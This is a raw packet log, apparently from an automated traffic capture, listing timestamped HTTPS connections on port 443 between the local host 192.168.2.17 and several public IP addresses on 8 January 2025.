Jan 8, 2025 17:18:27.175957918 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.176002026 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.176033020 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.176070929 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.180794001 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.180896997 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.180922031 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.180948973 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.180959940 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.180978060 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.180994034 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.181725979 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.181756020 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.181796074 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.181804895 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.181844950 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.266133070 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266196012 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266233921 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266258001 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266256094 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.266283989 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266303062 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.266398907 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.266439915 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.266968966 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.266982079 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.280205965 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.280257940 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.280383110 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.280719042 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.280751944 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.280833006 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.280976057 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.281014919 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.281063080 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.281213045 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.281225920 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.281459093 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.281475067 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.281663895 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.281673908 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.737185001 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.737787008 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.737818956 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.738828897 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.738920927 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.739252090 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.739305973 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.739418030 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.739424944 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.747198105 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.747425079 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.747452021 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.748447895 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.748528004 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.749433041 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.749499083 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.749654055 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.749660969 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.774308920 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.774589062 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.774601936 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.775540113 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.775619984 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.776781082 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.776834011 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.776987076 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.776993036 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.784491062 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.800477028 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.816474915 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.859900951 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.859973907 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860003948 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860030890 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860038996 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.860069990 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860090971 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.860409975 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860451937 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.860457897 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860950947 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.860977888 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.861001968 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.861008883 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.861047029 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.864825964 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.888274908 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889029980 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889054060 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889094114 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.889113903 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889189959 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889221907 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889244080 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.889250040 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889262915 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.889681101 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.889744997 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.889750004 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.893003941 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.893033028 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.893054008 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.893058062 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.893068075 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.893102884 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.912477016 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.912514925 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.924220085 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.924271107 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.924336910 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.924752951 CET	49719	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.924767017 CET	443	49719	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.926259041 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.926304102 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.926373959 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.926636934 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:27.926651955 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:27.948554993 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948600054 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948626041 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948645115 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.948653936 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948674917 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948698997 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.948708057 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948720932 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.948726892 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.948760986 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.948765039 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949064970 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949105978 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.949115038 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949174881 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949202061 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949210882 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.949218035 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949248075 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949285984 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.949290037 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.949330091 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.950026989 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950086117 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950114965 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950140953 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950153112 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.950165987 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950176001 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.950191975 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.950225115 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.950228930 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.951024055 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.951051950 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.951077938 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.951100111 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.951116085 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:27.951129913 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:27.975172997 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.975744963 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.975801945 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.975816011 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.975883961 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.975956917 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.975961924 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976310968 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976344109 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976353884 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.976360083 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976484060 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.976490974 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976722002 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976742983 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976777077 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.976780891 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976793051 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976835966 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.976839066 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976849079 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.976887941 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.977641106 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977694035 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.977699041 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977729082 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977767944 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977796078 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977797985 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.977807045 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977849960 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.977858067 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.977900028 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.979882956 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.979937077 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.979986906 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.979993105 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.980036020 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.980082035 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.980232000 CET	49720	443	192.168.2.17	104.17.25.14
Jan 8, 2025 17:18:27.980243921 CET	443	49720	104.17.25.14	192.168.2.17
Jan 8, 2025 17:18:27.983293056 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:27.983323097 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:27.983458996 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:27.983719110 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:27.983728886 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:27.992563963 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.036967039 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037035942 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037061930 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037086010 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037096024 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.037111998 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037122011 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037142992 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.037163019 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.037190914 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037239075 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037261963 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037280083 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.037285089 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037292004 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.037333965 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.038392067 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038400888 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038439035 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038482904 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.038491011 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038531065 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.038549900 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.038795948 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038872957 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.038875103 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.038918018 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.039223909 CET	49718	443	192.168.2.17	151.101.66.137
Jan 8, 2025 17:18:28.039238930 CET	443	49718	151.101.66.137	192.168.2.17
Jan 8, 2025 17:18:28.049493074 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.049520969 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.049596071 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.049808979 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.049820900 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.382466078 CET	49724	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:18:28.382512093 CET	443	49724	142.250.184.196	192.168.2.17
Jan 8, 2025 17:18:28.382611990 CET	49724	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:18:28.382803917 CET	49724	443	192.168.2.17	142.250.184.196
Jan 8, 2025 17:18:28.382816076 CET	443	49724	142.250.184.196	192.168.2.17
Jan 8, 2025 17:18:28.401487112 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.401820898 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.401839018 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.402158976 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.402576923 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.402635098 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.402714968 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.435939074 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.436199903 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.436218977 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.436568975 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.436954021 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.437021971 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.437100887 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.447326899 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.483335972 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.502583027 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.506373882 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.506393909 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.507515907 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.507599115 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.507886887 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.507946014 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.508022070 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.508030891 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.550502062 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.584687948 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584738016 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584767103 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584794044 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584819078 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584830999 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.584849119 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584858894 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584875107 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.584886074 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.584928989 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584958076 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.584990978 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.585004091 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.586275101 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.586281061 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.589406967 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.590513945 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.590521097 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.596184015 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596225977 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596259117 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596288919 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596309900 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.596321106 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596333981 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596334934 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.596369982 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.596383095 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596676111 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596719027 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596720934 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.596730947 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.596767902 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.600847006 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.602566957 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.618643045 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.618654013 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.618669987 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.618730068 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.618745089 CET	443	49723	151.101.2.137	192.168.2.17
Jan 8, 2025 17:18:28.618777037 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.618788004 CET	49723	443	192.168.2.17	151.101.2.137
Jan 8, 2025 17:18:28.646477938 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.646482944 CET	49721	443	192.168.2.17	104.18.94.41
Jan 8, 2025 17:18:28.646508932 CET	443	49721	104.18.94.41	192.168.2.17
Jan 8, 2025 17:18:28.670981884 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671050072 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671248913 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671319962 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.671329021 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671343088 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671387911 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.671403885 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671452999 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.671833038 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671884060 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671916962 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671950102 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671962976 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.671972036 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.671984911 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.672775984 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.672815084 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.672832966 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.672841072 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.672877073 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.672892094 CET	49722	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:28.672898054 CET	443	49722	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:28.673134089 CET	49722	443	192.168.2.17	104.17.24.14
